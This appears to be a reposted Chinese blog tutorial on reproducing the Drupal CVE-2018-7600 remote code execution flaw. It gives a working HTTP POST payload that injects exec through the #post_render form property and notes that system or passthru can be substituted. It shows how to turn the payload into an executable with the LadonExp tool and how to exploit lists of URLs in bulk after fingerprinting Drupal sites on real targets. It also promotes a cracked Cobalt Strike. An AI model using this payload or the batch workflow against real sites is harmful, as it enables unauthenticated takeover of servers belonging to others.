漏洞简介
Drupal是一个开源内容管理系统(CMS),全球超过100万个网站(包括政府,电子零售,企业组织,金融机构等)使用。三年前,Drupal安全团队披露了一个非常关键的漏洞,编号CVE-2018-7600 Drupal对表单请求内容未做严格过滤,因此,这使得攻击者可能将恶意注入表单内容,此漏洞允许未经身份验证的攻击者在默认或常见的Drupal安装上执行远程代码执行。由于公开较久,实战遇到可能性不大,但并不影响我们搭建靶机进行漏洞复现实验。本文以Drupal漏洞为例子,教大家如何使用LadonEXP一键生成POC。
漏洞分析
https://research.checkpoint.com/uncovering-drupalgeddon-2/
影响版本
Drupal 6.x
Drupal 7.x
Drupal 8.x
环境搭建
https://github.com/vulhub/vulhub/blob/master/drupal/CVE-2018-7600/README.zh-cn.md
漏洞环境
执行如下命令启动drupal 8.5.0的环境:
docker-compose up -d
环境启动后,访问http://your-ip:8080/将会看到drupal的安装页面,一路默认配置下一步安装。因为没有mysql环境,所以安装的时候可以选择sqlite数据库。
Payload
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 103
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id
漏洞复现
使用LadonExp.exe生成POC,填写对应字段,具体参数如下
TargetURL: 目标URL
Addurl: /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax
Post: form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id
只需以上3个参数即可,点击BuildExe生成EXE,再点击TestEXE测试,如图所示成功执行ID命令。
PS:Payload中的exec也可换成system、passthru或其它PHP函数
Ladon调用
生成的POC或EXP可使用Ladon调用,单个URL用法如下:
|
批量利用
由于url不像ip那样可使用IP/24、IP/XX来批量,所以我们可配置url.txt来批量利用EXP。
|
CMS识别
实战时可使用LadonGui的SubDomain来快速获取目标子域名并识别出使用Drupal的域名,再把对应URL放入url.txt,即可使用Ladon批量EXP。
如果已整理好URL,可使用WhatCMS快速识别
Ladon url.txt WhatCMS
推荐文章
Cobalt Strike 3.12 3.13 4.3 4.4 K8破解版
原文始发于微信公众号(K8实验室):CVE-2018-7600 Drupal远程执行漏洞复现